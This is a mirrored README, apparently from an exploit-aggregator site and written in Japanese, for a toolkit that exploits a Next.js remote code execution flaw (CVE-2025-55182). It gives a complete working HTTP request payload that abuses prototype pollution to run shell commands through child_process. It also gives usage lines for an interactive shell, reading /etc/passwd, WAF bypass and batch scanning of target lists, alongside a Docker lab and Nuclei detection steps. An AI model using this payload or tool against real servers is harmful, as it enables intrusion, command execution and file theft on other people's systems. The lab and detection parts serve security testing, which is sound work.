Sploitus

react2shell-exploit

kitploit · 2026-08-25

Exploit Code

MARKDOWN300 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RUBENSUXO-EH-REACT2SHELL-EXPLOIT
# 🐺 React2Shell-Exploit-Kensei

**CVE-2025-55182 - Next.js RCE リモートコード実行**

エクスプロイトフレームワーク+脆弱性ラボ+Burp Suite&Nuclei 検証。

セキュリティ研究とペネトレーションテストのための完全なエクスプロイトフレームワークおよび脆弱性ラボ環境です。

root@kitploit:~
    
    
    ╔═══════════════════════════════════════════════════════════════╗
    ║              🐺 React2Shell-Exploit-Kensei 🐺                 ║
    ║              CVE-2025-55182 Exploitation Tool                 ║
    ║                                                               ║
    ║  Author: Ruben Suxo - Ethical Hacker (kensei)    v2.5.0      ║
    ╚═══════════════════════════════════════════════════════════════╝
    

* * *

## 🎯 概要

React2Shell-Exploit-Kensei は、Next.js アプリケーションの重大なリモートコード実行(RCE)脆弱性である CVE-2025-55182 を悪用するための包括的なツールキットです。

含まれるもの:

  * 🐍 **Pythonエクスプロイト** (自動+手動モード)
  * 🐳 **Docker脆弱性ラボ** (Next.js 16.0.6)
  * 🔥 **Burp Suiteエクスプロイトテンプレート**
  * 🚨 **Nuclei検出テンプレート**
  * 🧪 **検証済みテストケース**



**影響を受けるバージョン:**

  * Next.js < 16.0.7
  * React 19.0.0



**CVSSスコア:** 10.0(緊急)

## ✨ 機能

### 🔨 エクスプロイト

✅ 自動エクスプロイト  
✅ 対話型シェル  
✅ コマンド実行  
✅ ファイル読み取り  
✅ WAFバイパス  
✅ バッチスキャン

### 🧪 ラボ環境 Docker インストール - 前提条件

脆弱性ラボを実行するには Docker がインストールされている必要があります。

プラットフォーム| インストールリンク  
---|---  
Windows| https://docs.docker.com/desktop/install/windows/  
macOS| https://docs.docker.com/desktop/install/mac-install/  
Linux| https://docs.docker.com/engine/install/  
  
**インストールの確認:**

root@kitploit:~
    
    
    docker --version
    

### 📖 ドキュメント

✅ Burp Suiteガイド  
✅ Nucleiテンプレート  
✅ 完全な例

* * *

## 🚀 クイックスタート

root@kitploit:~
    
    
    # 1. Clone
    git clone react2shell-exploit
    cd react2shell-exploit
    chmod +x react2shell-exploit.py
    
    # 2. Start Lab
    cd docker
    docker build --no-cache -t react2shell-lab .
    docker run -d -p 3002:3002 --name react2shell-lab react2shell-lab
    
    # 3. Exploit
    python3 react2shell-exploit.py --url http://localhost:3002 --cmd "whoami"
    

* * *

## 💻 使用例

### スキャン

root@kitploit:~
    
    
    python3 react2shell-exploit.py --url http://target.com --scan
    

### コマンド実行

root@kitploit:~
    
    
    python3 react2shell-exploit.py --url http://target.com --cmd "id"
    

### 対話型シェル

root@kitploit:~
    
    
    python3 react2shell-exploit.py --url http://target.com --shell
    

### ファイル読み取り

root@kitploit:~
    
    
    python3 react2shell-exploit.py --url http://target.com --read /etc/passwd
    

### WAFバイパス

root@kitploit:~
    
    
    python3 react2shell-exploit.py --url http://target.com --cmd "whoami" --waf-bypass
    

### バッチスキャン

root@kitploit:~
    
    
    python3 react2shell-exploit.py --list targets.txt --scan --threads 20
    

* * *

## 🔍 手動エクスプロイト

### Burp Suite

**動作確認済み - リクエストテンプレート:**

root@kitploit:~
    
    
    POST / HTTP/1.1
    Host: target.com:3002
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Next-Action: x
    Content-Length: 734
    
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="0"
    
    {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('whoami',{timeout:30000}).toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/exploit?out=${encodeURIComponent(res)};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="1"
    
    "$@0"
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="2"
    
    []
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
    

**期待されるレスポンス:**

root@kitploit:~
    
    
    "children":["__PAGE__?{\"out\":\"root\"}",{}]
    

**WHOAMI の手動テスト:** ![スクリーンショット](https://assets.kitploit.com/production/public/readmes/31587/a7fcaa0775dafd0eb3b49ac23c10211463172d030530805dcb5fd498e3d07da5.png)

**IFCONFIG の手動テスト:** ![スクリーンショット](https://assets.kitploit.com/production/public/readmes/31587/f383ec962935567cd94ddd26cc1e5712133b2e4600afa967d85f123256703dcb.png)

**代替の自動検出方法:**

  * ✅ **Extensibility Helper 拡張機能:**
    1. 「Extensions」に移動します:
    2. 「Extensibility Helper」をインストールして開きます



![スクリーンショット](https://assets.kitploit.com/production/public/readmes/31587/667f486378e9044539223d83a19617fd3c5bf1c702b2f77598b4e37468e258a1.png)

  3. 「Bambda Store」に移動します
  4. 「CVE-2025-55182,CVE-2025-66478 - React2Shell」を探します



![スクリーンショット](https://assets.kitploit.com/production/public/readmes/31587/60557d913b59cc4c300414300d12548d64fff6715be85ae3335ce077c11586bc.png)

  5. 「import」をクリックします



![スクリーンショット](https://assets.kitploit.com/production/public/readmes/31587/af624e6c09a4e5448e8b032a8705525d95aca239bf83d0b12f88888a9659221d.png)

  6. 「Audit Selected Items」を実行します



![スクリーンショット](https://assets.kitploit.com/production/public/readmes/31587/649fa2b0e9ac3b38a8f15e29e31132dd7c6871ce0dda80772d402750256e87f4.png)

![スクリーンショット](https://assets.kitploit.com/production/public/readmes/31587/231e00c2e6ab823c2b232ba82f68924b0dadf949d12fdaf09d8779b209e80492.png)

![スクリーンショット](https://assets.kitploit.com/production/public/readmes/31587/816f08634fb9769cd5967e90a341957cef0f6a83b72a08faf735704c19b74c8e.png)

  7. カスタムタブで「CVE-2025-55182,CVE-2025-66478 - React2Shell」がチェックされていることを確認します ![スクリーンショット](https://assets.kitploit.com/production/public/readmes/31587/68e4e9126ebcef90379c434ec5aca8f07a0ecbf03e43b4308f24c41479124c4f.png)


  * ✅ **ActiveScan++:** 自動検出



![スクリーンショット](https://assets.kitploit.com/production/public/readmes/31587/154028ecfa43b9ea51d95a240f1ec502239c67fe8515c1310297653da465e6c3.png)

### Nuclei

**動作確認済み:**

root@kitploit:~
    
    
    nuclei -target http://target.com:3002 -t nuclei/CVE-2025-55182.yaml
    

**出力:**

root@kitploit:~
    
    
    [CVE-2025-55182] [http] [critical] http://target.com:3002/
    

![スクリーンショット](https://assets.kitploit.com/production/public/readmes/31587/aba1d15f02cfc351ada1b4402ba3ed5ed653433ec967407a49962dfbce544ecb.png)

## 🐺 クレジット

**作者:** Ruben Suxo - エシカルハッカー(kensei)  
**バージョン:** 2.5.0  
**日付:** 2025-12-06

### 調査とインスピレーション

このプロジェクトは以下の調査と技法に基づいています:

  * **assetnote/react2shell-scanner** \- スキャナー実装
  * **freeqaz/react2shell** \- エクスプロイト技法
  * **whiteov3rflow/CVE-2025-55182-poc** \- 概念実証



### 脆弱性の発見

  * **Lachlan Davidson(@lachlan2k)** \- CVE-2025-55182 の最初の発見者



* * *

## ⚠️ 法的免責事項

**許可されたセキュリティテスト専用です。**

不正アクセスは違法です。自分が所有しているシステム、またはテストする明示的な許可を得たシステムでのみ使用してください。

* * *

## 📄 ライセンス

MIT License

* * *

**🐺 ハック・ザ・プラネット - 責任を持って**

_教育目的のみ。倫理的に使用してください。_